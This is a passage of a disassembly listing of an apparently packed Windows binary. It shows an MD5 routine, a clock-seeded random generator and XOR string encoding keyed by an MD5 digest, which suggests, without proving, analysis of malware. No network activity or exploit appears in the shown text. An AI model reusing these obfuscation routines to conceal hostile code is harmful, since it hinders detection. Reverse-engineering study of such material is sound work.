ecx mov [edi+esi], al inc edi cmp edi, [ebp+arg_4] jl short loc_40A858 loc_40A876: ; CODE XREF: sub_40A82E+28j mov eax, [ebp+arg_4] lea edi, [eax-1] loc_40A87C: ; CODE XREF: sub_40A82E:loc_40A89Aj cmp edi, 0FFFFFFFFh jz short loc_40A89C sub ebx, edi push 1 push ebx call sub_41179C ; _lrotr mov ebx, eax mov al, [edi+esi] xor al, bl pop ecx sub al, bl pop ecx mov [edi+esi], al dec edi loc_40A89A: ; DATA XREF: .packed:00415F24o ; .packed:00415F68o ... jmp short loc_40A87C ; --------------------------------------------------------------------------- loc_40A89C: ; CODE XREF: sub_40A82E+51j mov eax, [ebp+arg_4] pop edi pop esi pop ebx pop ebp retn sub_40A82E endp ; =============== S U B R O U T I N E ======================================= sub_40A8A4 proc near ; CODE XREF: sub_40A606+Ap ; sub_40A67C+Cp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword ptr [eax+10h], 0 and dword ptr [eax+14h], 0 mov dword ptr [eax], 67452301h mov dword ptr [eax+4], 0EFCDAB89h mov dword ptr [eax+8], 98BADCFEh mov dword ptr [eax+0Ch], 10325476h retn sub_40A8A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A8CC proc near ; CODE XREF: sub_40A606+19p ; sub_40A67C+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_8] push esi mov esi, [ebp+arg_0] push edi mov eax, [esi+10h] lea ecx, [eax+ebx*8] cmp ecx, eax mov [esi+10h], ecx jnb short loc_40A8E8 inc dword ptr [esi+14h] loc_40A8E8: ; CODE XREF: sub_40A8CC+17j mov ecx, ebx shr ecx, 1Dh add [esi+14h], ecx shr eax, 3 and eax, 3Fh jz short loc_40A928 push 40h lea ecx, [eax+esi+18h] pop edi sub edi, eax cmp ebx, edi jnb short loc_40A90C push ebx push [ebp+arg_4] push ecx jmp short loc_40A95E ; --------------------------------------------------------------------------- loc_40A90C: ; CODE XREF: sub_40A8CC+37j push edi push [ebp+arg_4] push ecx call sub_4114D0 ; memcpy lea eax, [esi+18h] push eax push esi call sub_40AA38 add [ebp+arg_4], edi add esp, 14h sub ebx, edi loc_40A928: ; CODE XREF: sub_40A8CC+2Aj cmp ebx, 40h jb short loc_40A956 mov edi, ebx shr edi, 6 loc_40A932: ; CODE XREF: sub_40A8CC+88j push 40h lea eax, [esi+18h] push [ebp+arg_4] push eax call sub_4114D0 ; memcpy push [ebp+arg_4] push esi call sub_40AA38 add [ebp+arg_4], 40h add esp, 14h sub ebx, 40h dec edi jnz short loc_40A932 loc_40A956: ; CODE XREF: sub_40A8CC+5Fj push ebx add esi, 18h push [ebp+arg_4] push esi loc_40A95E: ; CODE XREF: sub_40A8CC+3Ej call sub_4114D0 ; memcpy add esp, 0Ch pop edi pop esi pop ebx pop ebp retn sub_40A8CC endp ; =============== S U B R O U T I N E ======================================= sub_40A96B proc near ; CODE XREF: sub_40A606+27p ; sub_40A67C+29p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] push edi push 3Fh mov eax, [esi+10h] lea edi, [esi+10h] shr eax, 3 pop ecx and eax, ecx sub ecx, eax lea edx, [eax+esi+18h] mov byte ptr [edx], 80h inc edx cmp ecx, 8 jnb short loc_40A9B2 push ebx push ecx push 0 push edx call sub_4114E8 ; memset lea ebx, [esi+18h] push ebx push esi call sub_40AA38 push 38h push 0 push ebx call sub_4114E8 ; memset add esp, 20h pop ebx jmp short loc_40A9C1 ; --------------------------------------------------------------------------- loc_40A9B2: ; CODE XREF: sub_40A96B+21j add ecx, 0FFFFFFF8h push ecx push 0 push edx call sub_4114E8 ; memset add esp, 0Ch loc_40A9C1: ; CODE XREF: sub_40A96B+45j push 8 lea eax, [esi+50h] push edi push eax call sub_40A9F3 lea eax, [esi+18h] push eax push esi call sub_40AA38 push 10h push esi push [esp+24h+arg_0] call sub_40A9F3 push 4 push 0 push esi call sub_4114E8 ; memset add esp, 2Ch pop edi pop esi retn sub_40A96B endp ; =============== S U B R O U T I N E ======================================= sub_40A9F3 proc near ; CODE XREF: sub_40A96B+5Dp ; sub_40A96B+73p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp [esp+arg_8], 0 jbe short locret_40AA37 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] push esi or esi, 0FFFFFFFFh lea eax, [edx+1] sub esi, edx loc_40AA0B: ; CODE XREF: sub_40A9F3+41j mov dl, [ecx] mov [eax-1], dl mov edx, [ecx] shr edx, 8 mov [eax], dl mov edx, [ecx] shr edx, 10h mov [eax+1], dl mov edx, [ecx] shr edx, 18h mov [eax+2], dl add eax, 4 add ecx, 4 lea edx, [esi+eax] cmp edx, [esp+4+arg_8] jb short loc_40AA0B pop esi locret_40AA37: ; CODE XREF: sub_40A9F3+5j retn sub_40A9F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AA38 proc near ; CODE XREF: sub_40A8CC+4Fp ; sub_40A8CC+78p ... var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 44h push ebx push esi push edi push 40h push [ebp+arg_4] lea eax, [ebp+var_44] push eax call sub_40B2D8 mov eax, [ebp+arg_0] add esp, 0Ch mov edi, [eax+4] mov edx, [eax+0Ch] mov ebx, [eax+8] mov esi, edi mov ecx, [eax] not esi and esi, edx mov edx, ebx and edx, edi or esi, edx add esi, ecx mov ecx, [ebp+var_44] lea edx, [esi+ecx-28955B88h] mov esi, edi mov ecx, edx shr ecx, 19h shl edx, 7 or ecx, edx add ecx, edi mov edx, ecx and esi, ecx not edx and edx, ebx or edx, esi mov esi, [eax+0Ch] add edx, [ebp+var_40] lea esi, [esi+edx-173848AAh] mov edx, esi shr edx, 14h shl esi, 0Ch or edx, esi add edx, ecx mov esi, edx not esi and esi, edi mov edi, edx and edi, ecx or esi, edi add esi, [ebp+var_3C] lea esi, [ebx+esi+242070DBh] mov ebx, edx mov edi, esi shr edi, 0Fh shl esi, 11h or edi, esi add edi, edx mov esi, edi and ebx, edi not esi and esi, ecx mov [ebp+var_4], edi or esi, ebx mov ebx, [eax+4] add esi, [ebp+var_38] lea ebx, [ebx+esi-3E423112h] mov esi, ebx shl esi, 16h shr ebx, 0Ah or esi, ebx add esi, edi mov ebx, esi and edi, esi not ebx and ebx, edx or ebx, edi add ebx, [ebp+var_34] lea ecx, [ecx+ebx-0A83F051h] mov edi, ecx shr edi, 19h shl ecx, 7 or edi, ecx add edi, esi mov ecx, esi mov [ebp+arg_4], edi and ecx, [ebp+arg_4] not edi and edi, [ebp+var_4] or edi, ecx add edi, [ebp+var_30] lea edx, [edx+edi+4787C62Ah] mov ecx, edx shr ecx, 14h shl edx, 0Ch or ecx, edx add ecx, [ebp+arg_4] mov edx, ecx mov edi, ecx and edi, [ebp+arg_4] mov ebx, ecx not edx and edx, esi or edx, edi mov edi, [ebp+var_4] add edx, [ebp+var_2C] lea edi, [edi+edx-57CFB9EDh] mov edx, edi shr edx, 0Fh shl edi, 11h or edx, edi add edx, ecx mov edi, edx and ebx, edx not edi and edi, [ebp+arg_4] or edi, ebx mov ebx, edx add edi, [ebp+var_28] lea esi, [esi+edi-2B96AFFh] mov edi, esi shl edi, 16h shr esi, 0Ah or edi, esi add edi, edx mov esi, edi and ebx, edi not esi and esi, ecx mov [ebp+arg_0], edi or esi, ebx mov ebx, [ebp+arg_4] add esi, [ebp+var_24] lea ebx, [ebx+esi+698098D8h] mov esi, ebx shr esi, 19h shl ebx, 7 or esi, ebx add esi, edi mov ebx, esi and edi, esi not ebx and ebx, edx or ebx, edi add ebx, [ebp+var_20] lea ecx, [ecx+ebx-74BB0851h] mov edi, ecx shr edi, 14h shl ecx, 0Ch or edi, ecx add edi, esi mov ecx, edi mov ebx, edi not ecx and ecx, [ebp+arg_0] and ebx, esi or ecx, ebx add ecx, [ebp+var_1C] lea edx, [edx+ecx-0A44Fh] mov ebx, edx shr ebx, 0Fh shl edx, 11h or ebx, edx add ebx, edi mov ecx, ebx mov edx, edi not ecx and ecx, esi and edx, ebx or ecx, edx mov edx, [ebp+arg_0] add ecx, [ebp+var_18] mov [ebp+var_4], ebx lea edx, [edx+ecx-76A32842h] mov ecx, edx shl ecx, 16h shr edx, 0Ah or ecx, edx add ecx, ebx mov edx, ecx and ebx, ecx not edx and edx, edi or edx, ebx add edx, [ebp+var_14] lea esi, [esi+edx+6B901122h] mov edx, esi shr edx, 19h shl esi, 7 or edx, esi mov esi, ecx add edx, ecx mov [ebp+arg_4], edx and esi, [ebp+arg_4] not edx and edx, [ebp+var_4] or edx, esi add edx, [ebp+var_10] lea edi, [edi+edx-2678E6Dh] mov edx, edi shr edx, 14h shl edi, 0Ch or edx, edi mov edi, ecx add edx, [ebp+arg_4] mov [ebp+arg_0], edx mov esi, edx not [ebp+arg_0] and esi, [ebp+arg_4] and edi, [ebp+arg_0] mov ebx, edx or esi, edi mov edi, [ebp+var_4] add esi, [ebp+var_C] lea edi, [edi+esi-5986BC72h] mov esi, edi shr esi, 0Fh shl edi, 11h or esi, edi add esi, edx mov [ebp+var_4], esi and ebx, esi not [ebp+var_4] mov edi, [ebp+var_4] and edi, [ebp+arg_4] or edi, ebx mov ebx, esi add edi, [ebp+var_8] and ebx, [ebp+arg_0] lea ecx, [ecx+edi+49B40821h] mov edi, ecx shl edi, 16h shr ecx, 0Ah or edi, ecx mov ecx, edx add edi, esi and ecx, edi or ecx, ebx mov ebx, [ebp+arg_4] add ecx, [ebp+var_40] lea ecx, [ebx+ecx-9E1DA9Eh] mov ebx, ecx shr ebx, 1Bh shl ecx, 5 or ebx, ecx mov ecx, [ebp+var_4] add ebx, edi and ecx, edi mov [ebp+arg_4], ebx mov [ebp+arg_0], ecx mov ecx, esi and ecx, ebx mov ebx, ecx mov ecx, [ebp+arg_0] or ecx, ebx add ecx, [ebp+var_2C] lea edx, [edx+ecx-3FBF4CC0h] mov ecx, edx shr ecx, 17h shl edx, 9 or ecx, edx mov edx, edi add ecx, [ebp+arg_4] not edx and edx, [ebp+arg_4] mov ebx, ecx and ebx, edi or edx, ebx add edx, [ebp+var_18] lea esi, [esi+edx+265E5A51h] mov edx, esi shr edx, 12h shl esi, 0Eh or edx, esi mov esi, [ebp+arg_4] add edx, ecx mov [ebp+var_4], edx and edx, [ebp+arg_4] not esi and esi, ecx mov ebx, [ebp+var_4] or esi, edx add esi, [ebp+var_44] lea edi, [edi+esi-16493856h] mov esi, ecx mov edx, edi shl edx, 14h shr edi, 0Ch or edx, edi mov edi, ecx add edx, ebx not esi and esi, ebx and edi, edx or esi, edi mov edi, [ebp+arg_4] add esi, [ebp+var_30] lea esi, [edi+esi-29D0EFA3h] mov edi, esi shr edi, 1Bh shl esi, 5 or edi, esi mov esi, ebx add edi, edx mov [ebp+arg_4], edi mov edi, ebx and edi, [ebp+arg_4] not esi and esi, edx or esi, edi add esi, [ebp+var_1C] lea ecx, [ecx+esi+2441453h] mov esi, ecx shr esi, 17h shl ecx, 9 or esi, ecx mov ecx, edx add esi, [ebp+arg_4] not ecx and ecx, [ebp+arg_4] mov edi, esi and edi, edx or ecx, edi add ecx, [ebp+var_8] lea edi, [ebx+ecx-275E197Fh] mov ecx, edi shr ecx, 12h shl edi, 0Eh or ecx, edi mov edi, [ebp+arg_4] add ecx, esi mov ebx, ecx and ebx, [ebp+arg_4] not edi and edi, esi or edi, ebx mov ebx, esi add edi, [ebp+var_34] lea edx, [edx+edi-182C0438h] mov edi, edx shl edi, 14h shr edx, 0Ch or edi, edx mov edx, esi add edi, ecx not edx and edx, ecx and ebx, edi or edx, ebx mov ebx, [ebp+arg_4] add edx, [ebp+var_20] mov [ebp+arg_0], edi lea ebx, [ebx+edx+21E1CDE6h] mov edx, ebx shr edx, 1Bh shl ebx, 5 or edx, ebx mov ebx, ecx not ebx add edx, edi and ebx, edi mov edi, ecx and edi, edx or ebx, edi add ebx, [ebp+var_C] lea esi, [esi+ebx-3CC8F82Ah] mov edi, esi shr edi, 17h shl esi, 9 or edi, esi mov esi, [ebp+arg_0] add edi, edx mov ebx, edi and ebx, [ebp+arg_0] not esi and esi, edx or esi, ebx add esi, [ebp+var_38] lea ecx, [ecx+esi-0B2AF279h] mov esi, ecx shr esi, 12h shl ecx, 0Eh or esi, ecx mov ecx, edx add esi, edi not ecx mov ebx, esi and ecx, edi and ebx, edx or ecx, ebx mov ebx, [ebp+arg_0] add ecx, [ebp+var_24] lea ecx, [ebx+ecx+455A14EDh] mov ebx, ecx shl ebx, 14h shr ecx, 0Ch or ebx, ecx mov ecx, edi add ebx, esi mov [ebp+arg_0], ebx mov ebx, edi and ebx, [ebp+arg_0] not ecx and ecx, esi or ecx, ebx add ecx, [ebp+var_10] lea edx, [edx+ecx-561C16FBh] mov ecx, edx shr ecx, 1Bh shl edx, 5 or ecx, edx mov edx, esi add ecx, [ebp+arg_0] mov [ebp+arg_4], ecx mov ecx, esi and edx, [ebp+arg_4] mov ebx, [ebp+arg_4] not ecx and ecx, [ebp+arg_0] or ecx, edx mov edx, [ebp+arg_0] add ecx, [ebp+var_3C] not edx and edx, ebx lea edi, [edi+ecx-3105C08h] mov ecx, edi shr ecx, 17h shl edi, 9 or ecx, edi add ecx, ebx mov edi, ecx and edi, [ebp+arg_0] or edx, edi add edx, [ebp+var_28] lea esi, [esi+edx+676F02D9h] mov edx, esi shr edx, 12h shl esi, 0Eh or edx, esi mov esi, ebx add edx, ecx not esi mov edi, edx and esi, ecx and edi, ebx or esi, edi mov edi, [ebp+arg_0] add esi, [ebp+var_14] lea edi, [edi+esi-72D5B376h] mov esi, edi shl esi, 14h shr edi, 0Ch or esi, edi mov edi, ecx add esi, edx xor edi, edx xor edi, esi add edi, [ebp+var_30] lea ebx, [ebx+edi-5C6BEh] mov edi, ebx shr edi, 1Ch shl ebx, 4 or edi, ebx mov ebx, edx add edi, esi xor ebx, esi xor ebx, edi add ebx, [ebp+var_24] lea ecx, [ecx+ebx-788E097Fh] mov ebx, ecx shr ebx, 15h shl ecx, 0Bh or ebx, ecx add ebx, edi mov ecx, ebx xor ecx, esi xor ecx, edi add ecx, [ebp+var_18] lea edx, [edx+ecx+6D9D6122h] mov ecx, edx shr ecx, 10h shl edx, 10h or ecx, edx mov edx, ebx add ecx, ebx mov [ebp+var_4], ecx xor edx, ecx mov ecx, edx xor ecx, edi add ecx, [ebp+var_C] lea esi, [esi+ecx-21AC7F4h] mov ecx, esi shl ecx, 17h shr esi, 9 or ecx, esi add ecx, [ebp+var_4] xor edx, ecx add edx, [ebp+var_40] lea edi, [edi+edx-5B4115BCh] mov edx, edi shr edx, 1Ch shl edi, 4 or edx, edi mov edi, [ebp+var_4] mov esi, edi add edx, ecx xor esi, ecx xor esi, edx add esi, [ebp+var_34] lea ebx, [ebx+esi+4BDECFA9h] mov esi, ebx shr esi, 15h shl ebx, 0Bh or esi, ebx add esi, edx mov ebx, esi mov [ebp+arg_4], esi xor ebx, ecx xor ebx, edx add ebx, [ebp+var_28] lea ebx, [edi+ebx-944B4B0h] mov edi, ebx shr edi, 10h shl ebx, 10h or edi, ebx add edi, esi xor [ebp+arg_4], edi mov ebx, [ebp+arg_4] xor ebx, edx add ebx, [ebp+var_1C] lea ebx, [ecx+ebx-41404390h] mov ecx, ebx shl ecx, 17h shr ebx, 9 or ecx, ebx mov ebx, [ebp+arg_4] add ecx, edi xor ebx, ecx add ebx, [ebp+var_10] lea ebx, [edx+ebx+289B7EC6h] mov edx, ebx shr edx, 1Ch shl ebx, 4 or edx, ebx mov ebx, edi add edx, ecx xor ebx, ecx xor ebx, edx add ebx, [ebp+var_44] lea esi, [esi+ebx-155ED806h] mov ebx, esi shr ebx, 15h shl esi, 0Bh or ebx, esi add ebx, edx mov esi, ebx mov [ebp+arg_4], ebx xor esi, ecx xor esi, edx add esi, [ebp+var_38] lea esi, [edi+esi-2B10CF7Bh] mov edi, esi shr edi, 10h shl esi, 10h or edi, esi add edi, ebx xor [ebp+arg_4], edi mov esi, [ebp+arg_4] xor esi, edx add esi, [ebp+var_2C] lea esi, [ecx+esi+4881D05h] mov ecx, esi shl ecx, 17h shr esi, 9 or ecx, esi mov esi, [ebp+arg_4] add ecx, edi xor esi, ecx add esi, [ebp+var_20] lea esi, [edx+esi-262B2FC7h] mov edx, esi shr edx, 1Ch shl esi, 4 or edx, esi mov esi, edi add edx, ecx xor esi, ecx xor esi, edx add esi, [ebp+var_14] lea ebx, [ebx+esi-1924661Bh] mov esi, ebx shr esi, 15h shl ebx, 0Bh or esi, ebx add esi, edx mov ebx, esi xor ebx, ecx xor ebx, edx add ebx, [ebp+var_8] lea ebx, [edi+ebx+1FA27CF8h] mov edi, ebx shr edi, 10h shl ebx, 10h or edi, ebx mov ebx, esi add edi, esi xor ebx, edi xor ebx, edx add ebx, [ebp+var_3C] lea ecx, [ecx+ebx-3B53A99Bh] mov ebx, ecx shl ebx, 17h shr ecx, 9 or ebx, ecx mov ecx, esi add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [ebp+var_44] lea edx, [edx+ecx-0BD6DDBCh] mov ecx, edx shr ecx, 1Ah shl edx, 6 or ecx, edx mov edx, edi add ecx, ebx not edx or edx, ecx xor edx, ebx add edx, [ebp+var_28] lea esi, [esi+edx+432AFF97h] mov edx, esi shr edx, 16h shl esi, 0Ah or edx, esi mov esi, ebx add edx, ecx not esi or esi, edx xor esi, ecx add esi, [ebp+var_C] lea edi, [edi+esi-546BDC59h] mov esi, edi shr esi, 11h shl edi, 0Fh or esi, edi mov edi, ecx add esi, edx not edi or edi, esi xor edi, edx add edi, [ebp+var_30] lea ebx, [ebx+edi-36C5FC7h] mov edi, ebx shr ebx, 0Bh shl edi, 15h or edi, ebx mov ebx, edx not ebx add edi, esi or ebx, edi xor ebx, esi add ebx, [ebp+var_14] lea ebx, [ecx+ebx+655B59C3h] mov ecx, ebx shl ebx, 6 shr ecx, 1Ah or ecx, ebx mov ebx, esi not ebx add ecx, edi or ebx, ecx xor ebx, edi add ebx, [ebp+var_38] lea ebx, [edx+ebx-70F3336Eh] mov edx, ebx shl ebx, 0Ah shr edx, 16h or edx, ebx mov ebx, edi add edx, ecx not ebx or ebx, edx xor ebx, ecx add ebx, [ebp+var_1C] lea ebx, [esi+ebx-100B83h] mov esi, ebx shr esi, 11h shl ebx, 0Fh or esi, ebx mov ebx, ecx add esi, edx not ebx or ebx, esi xor ebx, edx add ebx, [ebp+var_40] lea ebx, [edi+ebx-7A7BA22Fh] mov edi, ebx shl edi, 15h shr ebx, 0Bh or edi, ebx mov ebx, edx add edi, esi not ebx or ebx, edi xor ebx, esi add ebx, [ebp+var_24] lea ebx, [ecx+ebx+6FA87E4Fh] mov ecx, ebx shr ecx, 1Ah shl ebx, 6 or ecx, ebx mov ebx, esi add ecx, edi not ebx or ebx, ecx xor ebx, edi add ebx, [ebp+var_8] lea ebx, [edx+ebx-1D31920h] mov edx, ebx shr edx, 16h shl ebx, 0Ah or edx, ebx mov ebx, edi add edx, ecx not ebx or ebx, edx xor ebx, ecx add ebx, [ebp+var_2C] lea ebx, [esi+ebx-5CFEBCECh] mov esi, ebx shr esi, 11h shl ebx, 0Fh or esi, ebx mov ebx, ecx add esi, edx not ebx or ebx, esi xor ebx, edx add ebx, [ebp+var_10] lea ebx, [edi+ebx+4E0811A1h] mov edi, ebx shl edi, 15h shr ebx, 0Bh or edi, ebx mov ebx, edx add edi, esi not ebx or ebx, edi xor ebx, esi add ebx, [ebp+var_34] lea ebx, [ecx+ebx-8AC817Eh] mov ecx, ebx shr ecx, 1Ah shl ebx, 6 or ecx, ebx mov ebx, esi add ecx, edi not ebx or ebx, ecx xor ebx, edi add ebx, [ebp+var_18] lea edx, [edx+ebx-42C50DCBh] mov ebx, edx shr ebx, 16h shl edx, 0Ah or ebx, edx mov edx, edi add ebx, ecx not edx or edx, ebx xor edx, ecx add edx, [ebp+var_3C] lea esi, [esi+edx+2AD7D2BBh] mov edx, esi shr edx, 11h shl esi, 0Fh or edx, esi mov esi, ecx add edx, ebx not esi or esi, edx xor esi, ebx add esi, [ebp+var_20] lea edi, [edi+esi-14792C6Fh] mov esi, [eax] add esi, ecx mov ecx, edi shl ecx, 15h shr edi, 0Bh or ecx, edi mov [eax], esi add ecx, [eax+4] pop edi pop esi add ecx, edx mov [eax+4], ecx mov ecx, [eax+8] add ecx, edx mov [eax+8], ecx mov ecx, [eax+0Ch] add ecx, ebx pop ebx mov [eax+0Ch], ecx leave retn sub_40AA38 endp ; =============== S U B R O U T I N E ======================================= sub_40B2D8 proc near ; CODE XREF: sub_40AA38+12p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp [esp+arg_8], 0 jbe short locret_40B31D mov edx, [esp+arg_4] mov ecx, [esp+arg_0] push esi push edi push 0FFFFFFFEh lea eax, [edx+2] pop esi sub esi, edx loc_40B2F1: ; CODE XREF: sub_40B2D8+41j movzx edi, byte ptr [eax-1] xor edx, edx mov dh, [eax+1] mov dl, [eax] add eax, 4 shl edx, 8 or edx, edi movzx edi, byte ptr [eax-6] shl edx, 8 or edx, edi mov [ecx], edx lea edx, [esi+eax] add ecx, 4 cmp edx, [esp+8+arg_8] jb short loc_40B2F1 pop edi pop esi locret_40B31D: ; CODE XREF: sub_40B2D8+5j retn sub_40B2D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B31E proc near ; CODE XREF: sub_4111E8+CCp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push 0F0000000h push 1 push 0 lea eax, [ebp+var_4] push 0 push eax call dword_412024 mov esi, dword_412020 push offset dword_419E7C push 4 push [ebp+var_4] call esi push offset dword_419E80 push 4 push [ebp+var_4] call esi push offset dword_419E84 push 4 push [ebp+var_4] call esi push offset dword_419E88 push 4 push [ebp+var_4] call esi push 0 push [ebp+var_4] call dword_41201C pop esi leave retn sub_40B31E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B380 proc near ; CODE XREF: sub_40B459+3p sub_40B480p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx lock xadd dword_419E7C, eax add eax, ebx lock xadd dword_419E80, eax add eax, ecx lock xadd dword_419E84, eax add eax, edx lock xadd dword_419E88, eax add eax, esi lock xadd dword_419E7C, eax add eax, edi lock xadd dword_419E80, eax add eax, ebp lock xadd dword_419E84, eax add eax, esp lock xadd dword_419E88, eax call sub_4114E2 ; clock mov [ebp+var_4], eax mov eax, [ebp+var_4] lock xadd dword_419E7C, eax lock xadd dword_419E80, eax lock xadd dword_419E84, eax lock xadd dword_419E88, eax add ecx, ebx ror ebx, cl lock xadd dword_419E84, ebx add ecx, ecx ror ecx, cl lock xadd dword_419E80, ecx add ecx, edx ror edx, cl lock xadd dword_419E7C, edx rol eax, cl add ecx, eax ror ebx, cl add ecx, ebx ror ecx, cl add ecx, 211h rol edx, cl add ecx, edx lock xadd dword_419E88, edx lock xadd dword_419E84, ecx lock xadd dword_419E80, ebx lock xadd dword_419E7C, eax pop ebx leave retn sub_40B380 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B459 proc near ; CODE XREF: sub_401B81+C1p ; sub_4031A7+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp call sub_40B380 call sub_4114E2 ; clock lock xadd dword_419E88, eax mov ecx, [ebp+arg_4] sub ecx, [ebp+arg_0] xor edx, edx inc ecx div ecx mov eax, edx add eax, [ebp+arg_0] pop ebp retn sub_40B459 endp ; =============== S U B R O U T I N E ======================================= sub_40B480 proc near ; CODE XREF: sub_4091AD:loc_409213p ; sub_409918+8DAp ... call sub_40B380 call sub_4114E2 ; clock lock xadd dword_419E88, eax retn sub_40B480 endp ; =============== S U B R O U T I N E ======================================= sub_40B493 proc near ; CODE XREF: sub_403EA9+4ECp ; sub_403EA9+54Fp call sub_40B380 call sub_4114E2 ; clock lock xadd dword_419E84, eax and eax, 0FFFFh retn sub_40B493 endp ; =============== S U B R O U T I N E ======================================= sub_40B4AB proc near ; CODE XREF: sub_40B4D9:loc_40B507p ; sub_40E399+CEp call sub_40B380 call sub_4114E2 ; clock lock xadd dword_419E80, eax and eax, 0FFh retn sub_40B4AB endp ; =============== S U B R O U T I N E ======================================= sub_40B4C3 proc near ; CODE XREF: sub_403EA9+4FFp ; sub_4098C7+2Bp ... call sub_40B380 call sub_4114E2 ; clock lock xadd dword_419E7C, eax and eax, 1 retn sub_40B4C3 endp ; =============== S U B R O U T I N E ======================================= sub_40B4D9 proc near ; CODE XREF: sub_407A76+837p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] test ebx, ebx push esi jz short loc_40B512 mov esi, [esp+8+arg_0] cmp ebx, 3 jbe short loc_40B503 push edi mov edi, ebx shr edi, 2 loc_40B4F2: ; CODE XREF: sub_40B4D9+27j call sub_40B480 mov [esi], eax add esi, 4 sub ebx, 4 dec edi jnz short loc_40B4F2 pop edi loc_40B503: ; CODE XREF: sub_40B4D9+11j test ebx, ebx jbe short loc_40B512 loc_40B507: ; CODE XREF: sub_40B4D9+37j call sub_40B4AB mov [esi], al inc esi dec ebx jnz short loc_40B507 loc_40B512: ; CODE XREF: sub_40B4D9+8j ; sub_40B4D9+2Cj pop esi pop ebx retn sub_40B4D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B515 proc near ; CODE XREF: sub_4027CB+32p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_4], 0 jnz short loc_40B522 xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_40B522: ; CODE XREF: sub_40B515+7j mov eax, [ebp+arg_10] test eax, eax jnz short loc_40B52C mov eax, [ebp+arg_4] loc_40B52C: ; CODE XREF: sub_40B515+12j push edi push eax push [ebp+arg_4] call sub_40B459 mov edi, eax pop ecx test edi, edi pop ecx jbe short loc_40B55A push ebx push esi mov esi, [ebp+arg_0] mov ebx, edi loc_40B545: ; CODE XREF: sub_40B515+41j push [ebp+arg_C] push [ebp+arg_8] call sub_40B459 mov [esi], al pop ecx inc esi dec ebx pop ecx jnz short loc_40B545 pop esi pop ebx loc_40B55A: ; CODE XREF: sub_40B515+27j mov eax, edi pop edi pop ebp retn sub_40B515 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B55F proc near ; CODE XREF: sub_4111E8+DEp var_58 = byte ptr -58h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 58h push esi lea eax, [ebp+var_58] push edi push eax call sub_40A8A4 push [ebp+arg_4] lea eax, [ebp+var_58] push [ebp+arg_0] push eax call sub_40A8CC lea eax, [ebp+var_58] push eax push offset byte_419E90 call sub_40A96B add esp, 18h lea esi, byte_419E90 mov edi, esi push 10h pop ecx loc_40B59B: ; CODE XREF: sub_40B55F+43j lodsb or eax, 80h stosb loop loc_40B59B pop edi pop esi leave retn sub_40B55F endp ; =============== S U B R O U T I N E ======================================= sub_40B5A8 proc near ; CODE XREF: sub_4050D1+7Dp ; sub_4050D1+FFp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push ebx push esi mov bl, [ecx] cmp bl, 7Fh ja short loc_40B5DE xor esi, esi test bl, bl jz short loc_40B5DE push edi loc_40B5BC: ; CODE XREF: sub_40B5A8+33j mov eax, esi push 10h cdq pop edi idiv edi mov al, byte_419E90[edx] xor al, bl inc esi mov [ecx], al mov eax, [esp+0Ch+arg_0] mov bl, [esi+eax] lea ecx, [esi+eax] test bl, bl jnz short loc_40B5BC pop edi loc_40B5DE: ; CODE XREF: sub_40B5A8+Bj ; sub_40B5A8+11j pop esi pop ebx retn sub_40B5A8 endp ; =============== S U B R O U T I N E ======================================= sub_40B5E1 proc near ; CODE XREF: sub_401000+3Fp ; sub_4033F9+19p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push ebx push esi mov bl, [ecx] cmp bl, 7Fh jbe short loc_40B617 xor esi, esi test bl, bl jz short loc_40B617 push edi loc_40B5F5: ; CODE XREF: sub_40B5E1+33j mov eax, esi push 10h cdq pop edi idiv edi mov al, byte_419E90[edx] xor al, bl inc esi mov [ecx], al mov eax, [esp+0Ch+arg_0] mov bl, [esi+eax] lea ecx, [esi+eax] test bl, bl jnz short loc_40B5F5 pop edi loc_40B617: ; CODE XREF: sub_40B5E1+Bj ; sub_40B5E1+11j pop esi pop ebx retn sub_40B5E1 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 200h push esi mov esi, [ebp+8] push edi mov edi, 200h push 2710h lea eax, [ebp-200h] push edi push eax push dword ptr [esi+3Eh] call sub_403DF6 add esp, 10h test eax, eax jz short loc_40B6BA push 0Ch lea eax, [ebp-200h] push offset dword_415244 push eax call sub_41178A ; memcmp add esp, 0Ch test eax, eax jnz short loc_40B6BA lea eax, [ebp-200h] push edi push eax push 